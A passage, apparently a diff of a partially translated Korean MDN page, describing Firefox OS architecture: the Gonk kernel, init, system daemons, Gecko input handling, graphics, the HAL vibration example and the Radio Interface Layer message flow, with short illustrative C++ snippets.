+<p>Gonk가 사용하는 리눅스 커널(들)은 리누스 토발즈와 세계의 해커들이 함께 개발하고 있는 업스트림의 리눅스로부터 만들어졌으며, 거의 똑같습니다. 다만 <a href="http://source.android.com/" style="line-height: inherit;" title="http://source.android.com/">안드로이드 오픈 소스 프로젝트</a> 로부터 만들어지고 아직 업스트림에 들어가지 않은 변경사항들을 가지고 있습니다. 또한, vendor들이 가끔 커널을 수정하며, 이 경우 그들은 그들 자체적 스케쥴로 업스트림에 변경 사항을 올립니다. 그렇지만 일반적으로 말하면 Gonk가 사용하는 리눅스 커널은 오리지날 리눅스와 거의 같다고 이야기 할 수 있습니다.</p>
+
+<p><a href="http://en.wikipedia.org/wiki/Linux_startup_process" style="line-height: inherit;" title="http://en.wikipedia.org/wiki/Linux_startup_process">리눅스 구동 시작 과정</a><span style="line-height: inherit;"> 은 인터넷 상에 잘 문서화 되어 있으므로, 이 글에서는 그것까지 다루지는 않겠습니다. 구동 시작 과정의 마지막에, 대부분의 UNIX류 운영체제가 그러하듯이 userspace의 </span><span style="font-family: courier new,andale mono,monospace; line-height: inherit;">init 프로세스가 시작됩니다. 이 시점에서 마운트된 "</span><span style="line-height: inherit;">disk"는 RAM disk 뿐입니다. 이 RAM disk는 Firefox OS 빌드 과정에서 만들어 졌으며, </span><span style="font-family: courier new,andale mono,monospace; line-height: inherit;">init</span><span style="line-height: inherit;">나 시작 과정 스크립트들이나 로드할 수 있는 커널 모듈들과 같은 중요한 유틸리티들을 가지고 있습니다.</span></p>
+
+<p><span style="line-height: inherit;">일단 </span><span style="font-family: courier new,andale mono,monospace; line-height: inherit;">init </span><span style="line-height: inherit;">프로세스가 시작되면, 리눅스 커널은 userspace 공간으로부터의 시스템 콜, 인터럽트, 하드웨어 기기로부터의 비슷한 요청들을 처리합니다. 많은 하드웨어 기능이 userspace에 </span><code style="font-size: 14px; line-height: inherit;"><a href="http://en.wikipedia.org/wiki/Sysfs" style="line-height: inherit;" title="http://en.wikipedia.org/wiki/Sysfs">sysfs</a></code><span style="line-height: inherit;">를 통해 노출됩니다. 예를 들어, 다음 </span><a href="https://github.com/cgjones/mozilla-central/blob/master/hal/gonk/GonkHal.cpp#L277" style="line-height: inherit;" title="https://github.com/cgjones/mozilla-central/blob/master/hal/gonk/GonkHal.cpp#L277">코드 조각</a><span style="line-height: inherit;">은 Gecko에서 배터리 상태를 읽기 위해 사용됩니다:</span></p>
+
+<pre class="brush:cpp;">FILE *capacityFile = fopen("/sys/class/power_supply/battery/capacity", "r");
+double capacity = dom::battery::kDefaultLevel * 100;
+if (capacityFile) {
+  fscanf(capacityFile, "%lf", &amp;capacity);
+  fclose(capacityFile);
+}</pre>
+
+<h2 id="init_프로세스">init 프로세스</h2>
+
+<p>Gonk의 <code>init</code> 프로세스는 필요한 파일 시스템들을 마운트 하고 시스템 서비스들을 시작하는 일을 처리합니다. 이 일들의 처리 후에는 프로세스 매니저로 역할하게 됩니다. 이것은 다른 UNIX류 운영체제들에서의 init와 매우 비슷합니다. 먼저 다양한 서비스들을 시작시키기 위해서 필요한 명령들을 가지고 있는 스크립트들(<span style="font-family: courier new,andale mono,monospace; line-height: inherit;">init*.rc 파일들)</span><span style="line-height: inherit;">을 수행합니다. Firefox OS의 </span><span style="font-family: courier new,andale mono,monospace; line-height: inherit;">init.rc</span><span style="line-height: inherit;"> 는 오리지날 안드로이드의 </span><span style="font-family: courier new,andale mono,monospace; line-height: inherit;">init.rc</span><span style="line-height: inherit;"> 에서 Firefox OS를 시작하는데 필요한 것들을 좀 추가한 형태이며, 기기에 따라 조금씩 다를 수 있습니다.</span></p>
+
+<p><span style="font-family: courier new,andale mono,monospace;">init</span><span style="line-height: inherit;"> 프로세스가 하는 가장 중요한 작업 중 하나는 b2g 프로세스를 시작시키는 것입니다; 이게 Firefox OS 운영체제의 중심입니다.</span></p>
+
+<p>b2g를 시작시키는 <span style="font-family: courier new,andale mono,monospace; line-height: inherit;">init.rc</span><span style="line-height: inherit;">의 코드는 다음과 같은 식입니다:</span></p>
+
+<pre>service b2g /system/bin/b2g.sh
+    class main
+    onrestart restart media</pre>
+
+<p>안드로이드의 init.rc에서 b2g 프로세스를 시작시키기 위한 코드가 추가된 <a href="https://github.com/mozilla-b2g/gonk-misc/blob/master/init.b2g.rc" title="https://github.com/mozilla-b2g/gonk-misc/blob/master/init.b2g.rc"><code>init.b2g.rc</code></a> 파일을 보는 것도 좋을 겁니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 정확히 <code>init.rc</code> 가 안드로이드 버전과 얼마나 다른가는 실제 기기마다 다릅니다; 어떤 기기의 경우는 단지 <code>init.b2g.rc</code> 가 추가되어 있을 뿐이고, 어떤 기기는 그보다 더 많은 변경이 있을 수 있습니다.</p>
+</div>
+
+<h2 id="사용자_영역(userspace)_프로세스_구조">사용자 영역(userspace) 프로세스 구조</h2>
+
+<p>Firefox OS의 많은 구성 요소들이 어떻게 서로 상호 동작하는지 상위 레벨에서 살펴보겠습니다. 이 그림은 Firefox OS의 주요 사용자 프로세스들을 보여줍니다.</p>
+
+<p><a href="/files/3849/B2G userspace architecture.svg"><img alt="Userspace diagram" src="/files/3849/B2G%20userspace%20architecture.svg" style="float: right; height: 491px; position: relative; width: 520px;"></a></p>
+
+<div class="note">
+<p><strong>Note:</strong> Firefox OS는 활발히 개발되고 있기 때문에, 이 그림은 변경 될 수 있습니다. 또한 본 그림이 포함하는 내용 중 일부가 올바르지 않을 수도 있습니다.</p>
+</div>
+
+<p><code>b2g</code> 프로세스는 가장 중요한 시스템 프로세스입니다. <code>b2g</code> 프로세스는 높은 권한으로 실행되기 때문에 대부분의 하드웨어 기기에 접근할 수 있습니다. <code>b2g</code>는 modem과의 통신이 가능하며, display framebuffer에 접근할 수 있습니다. 그리고 GPS, camera 및 다른 하드웨어와 통신이 가능합니다. <code>b2g</code>는 내부적으로 Gecko layer (<code>libxul.so</code>으로 구현됨)를 실행합니다. 어떻게 Gecko layer가 동작하며, <code>b2g</code>와 통신하는지 알고 싶다면 <a href="#Gecko">Gecko</a>를 참고하세요.</p>
+
+<h3 id="b2g">b2g</h3>
+
+<p><code>b2g</code> 프로세스는 낮은 권한을 가진 다수의 <strong>content process </strong>들을 생성할 수 있습니다. 이 프로세스에 web application과 web content이 적재되며, main Gecko server와 메시지-패싱 시스템인 <a href="/en-US/docs/IPDL" title="/en-US/docs/IPDL">IPDL</a>을 이용하여 통신합니다.</p>
+
+<h3 id="rild">rild</h3>
+
+<p><code>rild</code> 프로세스는 모뎀 프로세서와의 인터페이스 입니다. <code>rild</code>은 <strong>Radio Interface Layer</strong> (RIL)를 구현한 daemon입니다. 이 코드는 하드웨어 vendor가 해당 vendor의 모뎀 하드웨어와 통신하기 위해 구현한 것입니다. <code>rild</code>은 client code를 unix-domain socket에 연결해 줍니다. <code>rild</code>은 다음 <code>init</code> 스크립트를 통해 시작됩니다.</p>
+
+<pre>service ril-daemon /system/bin/rild
+    socket rild stream 660 root radio</pre>
+
+<h3 id="rilproxy">rilproxy</h3>
+
+<p>Firefox OS에서 <code>rild</code> client는 <code>rilproxy</code> 프로세스입니다. <code>rilproxy</code> 프로세스는 <code>rild</code>와 <code>b2g</code>사이에서 dumb forwarding proxy처럼 동작합니다. 이 proxy는 implementation detail이 필요한 상태 입니다. <a href="https://github.com/mozilla-b2g/rilproxy" title="https://github.com/mozilla-b2g/rilproxy"><code>rilproxy</code> 코드는 GitHub에서 확인할 수 있습니다. </a></p>
+
+<h3 id="mediaserver">mediaserver</h3>
+
+<p><a href="https://github.com/android/platform_frameworks_base/tree/ics-mr0-release/media/libmediaplayerservice" title="https://github.com/android/platform_frameworks_base/tree/ics-mr0-release/media/libmediaplayerservice"><code>mediaserver</code> process</a> 는 오디오와 비디오 재생을 제어합니다. Gecko는 <span class="fnt_k05">원격 절차 호출(</span>Remote Procedure Call, RPC) 메커니즘을 통해 이와 통신합니다. 미디어들 중 Gecko가 재생할 수 있는 것들(OGG Vorbis audio, OGG Theora video, and <a href="http://www.webmproject.org/about/" title="http://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;ved=0CDUQFjAA&amp;url=http%3A%2F%2Fwww.webmproject.org%2F&amp;ei=8Q84UOnoMoHH6wHZ44DwBA&amp;usg=AFQjCNHK9j6wyhUful5RmKCpU6b8GDfpYQ&amp;sig2=tCl8VxL3mCvrH86EyOwO_A">WebM</a> video)은 Gecko에 의해서 해독(decode)되며 직접 <code>mediaserver</code> 프로세스로 전달됩니다. 이외의 다른 미디어 파일들은 다른 외부 코덱과 하드웨어 인코더에 접근할 수 있는 <code>libstagefright</code>에 의해 해독됩니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> <code>mediaserver</code> 프로세는 Firefox OS의 "임시" 구성요소입니다. 이 프로세스는 초기 개발 업무를 위해서 사용되었으며, 최종적으로는 사용하지 않을 예정입니다. 하지만 최소한 Firefox OS 2.0까지는 사용 할 것입니다.</p>
+</div>
+
+<h3 id="netd">netd</h3>
+
+<p><code>netd</code> 프로세스는 네트워크 인터페이스의 설정 조정(configure)에 사용합니다.</p>
+
+<h3 id="wpa_supplicant">wpa_supplicant</h3>
+
+<p><code>wpa_supplicant</code> 프로세스는 WiFi 액세스 포인트와의 연결을 처리하는 표준 UNIX 스타일 데몬입니다.</p>
+
+<h3 id="dbus-daemon">dbus-daemon</h3>
+
+<p>dbus-daemon은 FirefoxOS가 블루투스 통신을 위해 사용하는 메시지 버스 시스템인 <a href="http://www.freedesktop.org/wiki/Software/dbus" title="http://www.freedesktop.org/wiki/Software/dbus">D-Bus</a>를 동작시킵니다.</p>
+
+<h2 id="Gecko">Gecko</h2>
+
+<p>앞서 언급했듯이, <a href="/en-US/docs/Gecko" title="/en-US/docs/Gecko">Gecko</a>는 사용자가 Firefox OS에서 볼 수 있는 모든 것을 구현할때 사용하는 웹 표준들(<a href="/en-US/docs/HTML" title="/en-US/docs/HTML">HTML</a>, <a href="/en-US/docs/CSS" title="/en-US/docs/CSS">CSS</a>, <a href="/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a>)의 구현입니다.</p>
+
+<h3 id="입력_이벤트_처리_(Processing_input_events)">입력 이벤트 처리 (Processing input events)</h3>
+
+<p>대부분의 Gecko 동작은 사용자의 동작에 의해 발생합니다. 이런 사용자의 동작들을 입력 이벤트라고 부릅니다. 이런 입력 이벤트로는 버튼을 누른다던지, 터치 스크린을 가진 기기를 터치 한다던지 하는 동작들을 예로 들 수 있습니다. 이런 이벤트들은 Gecko의 주요 진입점인 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAppShell" title="">nsIAppShell</a></code>의 <a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/nsAppShell.cpp" rel="custom">Gonk 구현부</a>를 통해서 Gecko로 들어오게 됩니다. 즉, 입력 장치 드라이버는 이벤트를 사용자 인터페이스로 보내기 위해 Gecko의 하위 시스템을 대신하는 <code>nsAppShell</code> 객체의 메소드들을 호출합니다.</p>
+
+<p>예를 들면:</p>
+
+<pre class="brush:cpp;">void GeckoInputDispatcher::notifyKey(nsecs_t eventTime,
+                                     int32_t deviceId,
+                                     int32_t source,
+                                     uint32_t policyFlags,
+                                     int32_t action,
+                                     int32_t flags,
+                                     int32_t keyCode,
+                                     int32_t scanCode,
+                                     int32_t metaState,
+                                     nsecs_t downTime) {
+  UserInputData data;
+  data.timeMs = nanosecsToMillisecs(eventTime);
+  data.type = UserInputData::KEY_DATA;
+  data.action = action;
+  data.flags = flags;
+  data.metaState = metaState;
+  data.key.keyCode = keyCode;
+  data.key.scanCode = scanCode;
+  {
+    MutexAutoLock lock(mQueueLock);
+    mEventQueue.push(data);
+  }
+  gAppShell-&gt;NotifyNativeEvent();
+}</pre>
+
+<p>이 이벤트들은 표준 리눅스 <code>input_event </code>시스템으로부터 전달되는 것입니다. Firefox OS는 이벤트 필터링 기능을 제공하는<a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/libui/InputReader.cpp" rel="custom">light abstraction layer</a>를 그 이벤트 위에 사용합니다. <a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/libui/EventHub.cpp" rel="custom">widget/gonk/libui/EventHub.cpp</a> 코드를 보면 <code>EventHub::getEvents()</code>메소트 안에서 입력 이벤트를 생성하는 것을 확인할 수 있습니다.</p>
+
+<p>Gecko가 위 이벤트들을 수신하면, 이벤트들은 아래의<code> <a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/nsAppShell.cpp" rel="custom">nsAppShell</a></code>에 의해 DOM으로 보내지게 됩니다.</p>
+
+<pre class="brush:cpp;">static nsEventStatus sendKeyEventWithMsg(uint32_t keyCode,
+                                         uint32_t msg,
+                                         uint64_t timeMs,
+                                         uint32_t flags) {
+    nsKeyEvent event(true, msg, NULL);
+    event.keyCode = keyCode;
+    event.location = nsIDOMKeyEvent::DOM_KEY_LOCATION_MOBILE;
+    event.time = timeMs;
+    event.flags |= flags;
+    return nsWindow::DispatchInputEvent(event);
+}
+</pre>
+
+<p>그 이후에, 그 이벤트들은 Gecko에 의해 사용되거나<a href="/en-US/docs/DOM_Client_Object_Cross-Reference/DOM_Events" title="/en-US/docs/DOM_Client_Object_Cross-Reference/DOM_Events"> DOM events</a>로서 이후 처리를 위해 웹 어플리케이션들로 전달됩니다.</p>
+
+<p> </p>
+
+<h3 id="그래픽_(Graphics)">그래픽 (Graphics)</h3>
+
+<p>가장 저차원 레벨에서 봤을 때, Gecko는 하드웨어 프레임 버퍼들을 감싸는(wrap) GL 컨텍스트에 접근하기 위해서 <a href="http://www.khronos.org/opengles/2_X/" title="http://www.khronos.org/opengles/2_X/">OpenGL ES 2.0</a>을 사용합니다. 이러한 동작은 <code>Gonk의 <a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/nsWindow.cpp" rel="custom">nsWindow</a>의 다음과 비슷한 코드로 구현합니다</code>.</p>
+
+<pre class="brush:cpp;">gNativeWindow = new android::FramebufferNativeWindow();
+sGLContext = GLContextProvider::CreateForWindow(this);</pre>
+
+<p><code>FramebufferNativeWindow </code>클래스는 Android의 것을 그대로 차용하였습니다(<a href="https://github.com/android/platform_frameworks_base/blob/ics-mr1-release/libs/ui/FramebufferNativeWindow.cpp" title="https://github.com/android/platform_frameworks_base/blob/ics-mr1-release/libs/ui/FramebufferNativeWindow.cpp"><code>FramebufferNativeWindow.cpp</code></a>를 참고). 이 클래스는 프레임 버퍼 기기의 버퍼들과 메모리를 매핑하기 위해 그래픽스 드라이버에 접근하는데, 이 때 <strong>gralloc</strong> API를 사용합니다.</p>
+
+<p>Gecko는 <a href="/en-US/docs/Gecko/Layers" title="/en-US/docs/Gecko/Layers">Layers</a> 시스템을 이용하여 그려진 내용을 화면에 합성합니다. 이를 위한 과정은 다음과 같이 요약할 수 있습니다:</p>
+
+<ol>
+ <li>Gecko는 각각의 독립된 영역들을 메모리 버퍼에 그립니다. 때때로 이 버퍼들은 시스템 메모리에 있을 수 있습니다. 또 다른 경우에 이것들은 Gecko의 주소 공간에 맵핑된 텍스처(texture)들 일 수도 있습니다. 다시 말하자면, Gecko가 비디오 메모리에 직접 영역을 그린다는 것을 의미합니다. 이 동작은 일반적으로 <a href="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#83" title="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#201"><code>BasicThebesLayer::PaintThebes()</code></a>에 의해서 이루어 집니다.</li>
+ <li>Gecko는 OpenGL 명령들을 이용하여 모든 texture들을 화면에 합성합니다. 이 합성 과정은 <a href="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/opengl/ThebesLayerOGL.cpp#124" title="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#201"><code>ThebesLayerOGL::RenderTo()</code></a>에서 일어나게 됩니다.</li>
+</ol>
+
+<p>Gecko가 웹 컨텐츠 렌더링을 어떻게 처리하는지에 대한 자세한 내용은 이 문서의 범위 밖의 내용입니다.</p>
+
+<h3 id="하드웨어_추상화_계층_(Hardware_Abstraction_Layer_HAL)">하드웨어 추상화 계층 (Hardware Abstraction Layer, HAL)</h3>
+
+<p>Gecko의 하드웨어 추상화 계층(Hardware Abstraction Layer, HAL)은 Gecko의 이식 계층(porting layer) 중 하나 입니다. 이것은 Gecko의 상위 계층에 접근이 쉬운 C++ API를 이용하여, 다양한 플랫폼에 대한 시스템 인터페이스로의 저수준 접근을 처리합니다. 이 API들은 Gecko HAL 내부에 플랫폼 단위(per-platform basis)로 구현되어 있습니다. 이 하드웨어 추상화 계층은 Gecko 내부의 JavaScript 코드를 통해 직접 접근할 수 없습니다.</p>
+
+<h4 id="HAL의_동작">HAL의 동작</h4>
+
+<p><a href="/ko/docs/Web/API/Window/navigator/vibrate" title="The documentation about this has not yet been written; please consider contributing!"><code>Vibration</code></a>를 예로 들어 살펴보겠습니다. 이 API를 위한 Gecko의 HAL은 <a href="https://dxr.mozilla.org/mozilla-central/source/hal/Hal.h" rel="custom">hal/Hal.h</a>에 정의되어 있습니다. 본질적으로 (명확성을 위해서 간략하게 표현하면), 이러한 함수가 있습니다.</p>
+
+<pre>void Vibrate(const nsTArray&lt;uint32&gt; &amp;pattern);</pre>
+
+<p>이 함수는 Gecko code에 의해 명시된 패턴대로 기기의 진동을 켜기 위해 호출되며, 이에 대응되는 함수는 울리고 있는 진동을 끄기 위해 존재합니다. 이 함수의 Gonk 구현은 <a href="https://dxr.mozilla.org/mozilla-central/source/hal/conk/GonkHal.cpp" rel="custom">hal/conk/GonkHal.cpp</a>에 있습니다:</p>
+
+<pre class="brush:cpp;">void Vibrate(const nsTArray&lt;uint32_t&gt; &amp;pattern) {
+  EnsureVibratorThreadInitialized();
+  sVibratorRunnable-&gt;Vibrate(pattern);
+}
+</pre>
+
+<p>이 코드는 기기에 진동의 시작을 위한 요청을 다른 쓰레드(<code>VibratorRunnable::Run()</code>에 구현되어 있습니다)에 전송합니다. 해당 쓰레드의 메인 루프는 다음과 같습니다:</p>
+
+<pre class="brush:cpp;">while (!mShuttingDown) {
+  if (mIndex &lt; mPattern.Length()) {
+    uint32_t duration = mPattern[mIndex];
+    if (mIndex % 2 == 0) {
+      vibrator_on(duration);
+    }
+    mIndex++;
+    mMonitor.Wait(PR_MillisecondsToInterval(duration));
+  }
+  else {
+    mMonitor.Wait();
+  }
+}
+</pre>
+
+<p><code>vibrator_on()</code> 은 진동기 모터를 켜는 Gonk HAL API 입니다. 내부적으로, 이 메소드는 <code>sysfs</code>를 이용하여 커널 객체에 값을 씀으로써 커널 드라이버에 메시지를 전송하게 됩니다.</p>
+
+<h4 id="대체_HAL_API_구현_(Fallback_HAL_API_implementations)">대체 HAL API 구현 (Fallback HAL API implementations)</h4>
+
+<p>Gecko의 HAL API 들은 모든 플랫폼을 지원합니다. Gecko가 진동 모터에 대한 인터페이스를 지원하지 않는 플랫폼(예를 들면 데스크탑 컴퓨터)을 위해 빌드 될 경우, HAL API의 대체 구현(fallback implementation)이 사용됩니다. 진동을 위한 대체 구현은 <a href="https://dxr.mozilla.org/mozilla-central/source/hal/fallback/FallbackVibration.cpp" rel="custom">hal/fallback/FallbackVibration.cpp</a>에서 찾을 수 있습니다.</p>
+
+<pre class="brush:cpp;">void Vibrate(const nsTArray&lt;uint32_t&gt; &amp;pattern) {
+}</pre>
+
+<h4 id="Sandbox_구현_(Sandbox_implementations)">Sandbox 구현 (Sandbox implementations)</h4>
+
+<p>대부분의 web content들이 낮은 권한의 컨텐트 프로세스에서 동작하기 때문에, 이 프로세스들은 진동 모터를 켜고 끄는 것(예를 들면)과 같은 권한을 가지고 있지 않다고 할 수 있습니다. 게다가, 잠재적인 경쟁 상태(race condition)를 처리할 수 있도록, 중앙 처리 위치(a central location을 의역하였습니다)가 필요합니다. Gecko의 HAL에서는 이러한 동작이 "sandbox"를 통해 이루어 집니다. 이 sandbox는 컨텐트 프로세스의 요청들을 대신 처리하고 그 요청들을 "Gecko server" 프로세스로 전송합니다. 이러한 대리 요청들은 IPDL을 이용하여 전송됩니다.</p>
+
+<p>진동을 위해서는 <a href="https://dxr.mozilla.org/mozilla-central/source/hal/sandbox/SandboxHal.cpp" rel="custom">hal/sandbox/SandboxHal.cpp</a>에 있는 <code>Vibrate()</code> 함수에 의해 처리됩니다:</p>
+
+<pre class="brush:cpp;">void Vibrate(const nsTArray&lt;uint32_t&gt;&amp; pattern, const WindowIdentifier &amp;id) {
+  AutoInfallibleTArray&lt;uint32_t, 8&gt; p(pattern);
+
+  WindowIdentifier newID(id);
+  newID.AppendProcessID();
+  Hal()-&gt;SendVibrate(p, newID.AsArray(), GetTabChildFrom(newID.GetWindow()));
+}</pre>
+
+<p>이 함수는 <a href="https://dxr.mozilla.org/mozilla-central/source/hal/sandbox/PHal.ipdl" rel="custom">hal/sandbox/PHal.ipdl</a>에 서술 된 <code>PHal</code> 인터페이스에 의해 정의되는 메시지를 전송합니다. 이 메소드는 대략 다음과 같이 서술되어 있습니다:</p>
+
+<pre>Vibrate(uint32_t[] pattern);</pre>
+
+<p>이 메시지의 수신단은 <a href="https://dxr.mozilla.org/mozilla-central/source/hal/sandbox/SandboxHal.cpp" rel="custom">hal/sandbox/SandboxHal.cpp</a>에 있는 <code>HalParent::RecvVibrate()</code> 메소드이며 이와 같습니다:</p>
+
+<pre class="brush:cpp;">virtual bool RecvVibrate(const InfallibleTArray&lt;unsigned int&gt;&amp; pattern,
+            const InfallibleTArray&lt;uint64_t&gt; &amp;id,
+            PBrowserParent *browserParent) MOZ_OVERRIDE {
+
+  hal::Vibrate(pattern, newID);
+  return true;
+}</pre>
+
+<p>이것은 현재 주제와 관련이 없는 세부사항을 제거한 상태입니다. 하지만 이를 통해 컨텐트 프로세스에서 발생한 메시지가 Gecko부터 Gonk, <code>Vibrate()의 </code>Gonk HAL 구현부, 그리고 최종적으로 그래픽 드라이버까지 전달되는 과정을 보여줍니다.</p>
+
+<h3 id="DOM_APIs">DOM APIs</h3>
+
+<p><strong>DOM 인터페이스</strong>는 웹 컨텐트가 Gecko와 통신하는 방법입니다. 만약 더 자세한 내용에 대해 관심이 있다면, <a href="/en-US/docs/DOM/About_the_Document_Object_Model" title="/en-US/docs/DOM/About_the_Document_Object_Model">여기</a>를 참고하세요. DOM 인터페이스는 <a href="/en-US/docs/XPIDL" title="/en-US/docs/XPIDL">IDL</a>로 정의됩니다. IDL은 자바스크립트와 C++ 사이의 외래 함수 인터페이스(Foreign Function Interface, FFI)와 객체 모델(Object Model, OM)로 구성됩니다.</p>
+
+<p>vibrartion API는 IDL 인터페이스(<code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/interfaces/base/nsIDOMNavigator.idl" rel="custom">nsIDOMNavigator.idl</a></code>)를 통해 web content에서 접근할 수 있습니다:</p>
+
+<pre>[implicit_jscontext] void mozVibrate(in jsval aPattern);</pre>
+
+<p><a href="/en-US/docs/SpiderMonkey/JSAPI_Reference/Jsval" title="/en-US/docs/SpiderMonkey/JSAPI_Reference/JSVAL_IS_OBJECT"><code>jsval</code></a> 인자는 <code>mozVibrate()</code>(아직 확정되지 않은 vibration 명세를 Mozilla가 구현한 것)가 자바스크립트 값을 입력으로 받아들일 수 있다는 것을 나타냅니다. IDL 컴파일러(<a href="/en-US/docs/XPIDL/xpidl" title="/en-US/docs/XPIDL/xpidl"><code>xpidl</code></a>)는 이후에 <code>Navigator</code> 클래스(<code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/base/Navigator.cpp" rel="custom">Navigator.cpp</a></code>)에서 구현될 C++인터페이스를 만듭니다.</p>
+
+<pre class="brush:cpp;">NS_IMETHODIMP Navigator::MozVibrate(const jsval&amp; aPattern, JSContext* cx) {
+  // ...
+  hal::Vibrate(pattern);
+  return NS_OK;
+}</pre>
+
+<p>원래는 위에서 보시는 것보다 훨씬 더 많은 코드가 있지만, 현재 이 문서의 목적을 벗어나는 부분입니다. 중요한 점은 <code>hal::Vibrate()를 호출하게 되면 control이 DOM으로부터 Gecko HAL로 이동하게 된다는 것입니다. 거기서부터 이전 섹션에서 이야기한 HAL 구현부에 진입하며, 그래픽 드라이버 방향으로 작업이 진행되게 됩니다. 최상위 레벨에서 보면, DOM 구현부는 자신이 어떤 플랫폼(Gecko, Windows, Mac OS X 등)에서 동작하는지 상관하지 않습니다. 또한 DOM은 자신이 컨텐트 프로세스에서 동작하든 Gecko 서버 프로세스에서 동작하는지 고려하지도 않습니다. 위와 같이 상세한 부분들은 시스템의 하위 계층이 관장하게 됩니다.</code></p>
+
+<p>vibration API는 예로 쓰기에 좋은 아주 단순한 API입니다. 이에 비해, <a href="/en-US/docs/API/WebSMS" title="/en-US/docs/API/WebSMS">SMS API</a>는 컨텐트 프로세스들을 서버에 연결할 때 자신이 가진 "remoting" 계층을 이용하는 좀 더 복잡한 API라고 할 수 있습니다.</p>
+
+<h2 id="Radio_Interface_Layer_(RIL)">Radio Interface Layer (RIL)</h2>
+
+<p>RIL에 대해서는 <a href="#사용자_영역(userspace)_프로세스_구조">사용자 영역(userspace) 프로세스 구조</a> 섹션에서 간단하게 설명하였습니다. 이 섹션에서는 RIL을 구성하는 여러 부분들이 어떻게 상호작용하는지 좀 더 자세하게 살펴 보겠습니다.</p>
+
+<p>RIL과 관련있는 주요 요소(component)들은 다음과 같습니다:</p>
+
+<dl>
+ <dt><code>rild</code></dt>
+ <dd>모뎀 펌웨어와 통신하는 데몬입니다.</dd>
+ <dt><code>rilproxy</code></dt>
+ <dd>The daemon that proxies messages between <code>rild</code> and Gecko (which is implemented in the <code>b2g</code> process). This overcomes the permission problem that arises when trying to talk to <code>rild</code> directly, since <code>rild</code> can only be communicated with from within the <code>radio</code> group.</dd>
+ <dt><code>b2g</code></dt>
+ <dd>This process, also known as the <strong>chrome process</strong>, implements Gecko. The portions of it that relate to the Radio Interface Layer are <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_worker.js" rel="custom">dom/system/gonk/ril_worker.js</a> (which implements a worker thread that talks to <code>rild</code> through <code>rilproxy</code> and implements the radio state machine; and the <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer" title="">nsIRadioInterfaceLayer</a></code> interface, which is the main thread's <a href="/en-US/docs/XPCOM" title="/en-US/docs/XPCOM">XPCOM</a> service that acts primarily as a message exchange between the <code>ril_worker.js</code> thread and various other Gecko components, including the Gecko content process.</dd>
+ <dt>Gecko's content process</dt>
+ <dd>Within Gecko's content process, the <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRILContentHelper" title="">nsIRILContentHelper</a></code> interface provides an XPCOM service that lets code implementing parts of the DOM, such as the <a href="/en-US/docs/API/WebTelephony" title="/en-US/docs/API/WebTelephony">Telephony</a> and <a href="/en-US/docs/API/WebSMS" title="/en-US/docs/API/WebSMS">SMS</a> APIs talk to the radio interface, which is in the chrome process.</dd>
+</dl>
+
+<h3 id="Example_Communicating_from_rild_to_the_DOM">Example: Communicating from rild to the DOM</h3>
+
+<p>Let's take a look at an example of how the lower level parts of the system communicate with DOM code. When the modem receives an incoming call, it notifies <code>rild</code> using a proprietary mechanism. <code>rild</code> then prepares a message for its client according to the "open" protocol, which is described in <a href="https://github.com/mozilla-b2g/android-hardware-ril/blob/master/include/telephony/ril.h" title="https://github.com/mozilla-b2g/android-hardware-ril/blob/master/include/telephony/ril.h"><code>ril.h</code></a>. In the case of an incoming call, a <code>RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED</code> message is generated and sent by <code>rild</code> to <code>rilproxy</code>.</p>
+
+<p><code>rilproxy</code>, implemented in <a href="https://github.com/mozilla-b2g/rilproxy/blob/master/src/rilproxy.c" title="https://github.com/mozilla-b2g/rilproxy/blob/master/src/rilproxy.c"><code>rilproxy.c</code></a>, receives this message in its main loop, which polls its connection to <code>rild</code> using code like this:</p>
+
+<pre class="brush:cpp;">ret = read(rilproxy_rw, data, 1024);
+
+if(ret &gt; 0) {
+  writeToSocket(rild_rw, data, ret);
+}</pre>
+
+<p>Once the message is received from <code>rild</code>, it's then forwarded along to Gecko on the socket that connects <code>rilproxy</code> to Gecko. Gecko receives the forwarded message on its <a href="https://dxr.mozilla.org/mozilla-central/source/ipc/ril/Ril.cpp" rel="custom">IPC thread</a>:</p>
+
+<pre class="brush:cpp;">int ret = read(fd, mIncoming-&gt;Data, 1024);
+// ... handle errors ...
+mIncoming-&gt;mSize = ret;
+sConsumer-&gt;MessageReceived(mIncoming.forget());
+</pre>
+
+<p>The consumer of these messages is <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/SystemWorkerManager.cpp" rel="custom">SystemWorkerManager</a>, which repackages the messages and dispatches them to the <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_worker.js" rel="custom">ril_worker.js</a></code> thread that implements the RIL state machine; this is done in the <code>RILReceiver::MessageReceived()</code> method:</p>
+
+<pre class="brush:cpp;">virtual void MessageReceived(RilRawData *aMessage) {
+  nsRefPtr&lt;DispatchRILEvent&gt; dre(new DispatchRILEvent(aMessage));
+  mDispatcher-&gt;PostTask(dre);
+}</pre>
+
+<p>The task posted to that thread in turn calls the <code>onRILMessage()</code> function, which is implemented in JavaScript. This is done using the JavaScript API function <code><a href="/en-US/docs/SpiderMonkey/JSAPI_Reference/JS_CallFunctionName" title="/en-US/docs/SpiderMonkey/JSAPI_Reference/JS_CallFunctionName">JS_CallFunctionName</a>()</code>:</p>
+
